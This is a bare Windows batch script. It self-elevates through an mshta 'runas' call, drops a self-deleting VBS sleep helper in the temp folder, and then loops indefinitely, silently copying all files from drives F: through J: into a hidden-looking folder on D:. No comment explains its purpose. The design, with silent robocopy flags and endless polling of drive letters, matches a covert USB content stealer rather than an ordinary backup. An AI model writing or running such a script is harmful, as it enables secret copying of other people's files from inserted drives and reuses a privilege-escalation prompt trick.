fltmc>nul||mshta vbscript:CreateObject("Shell.Application").ShellExecute("%~dpnx0","%*","","runas",1)(window.close)&&exit

set "Destination=D:\k\CopiedFiles\"
set "Extension=*"

if not exist "%Destination%" ( md "%Destination%" )
goto Main

:Copier
if exist %Source% (robocopy %Source% %Destination% *.%Extension% /s /ndl /nfl)
goto :eof

:Main

echo CreateObject("scripting.filesystemobject").deletefile(WScript.scriptfullname)>%Temp%\SleepScript.vbs&&echo WScript.sleep WScript.Arguments(0)>>%Temp%\SleepScript.vbs
start /wait %Temp%\SleepScript.vbs 5000

set "Source=F:\"
call :Copier

set "Source=G:\"
call :Copier

set "Source=H:\"
call :Copier

set "Source=I:\"
call :Copier

set "Source=J:\"
call :Copier

goto Main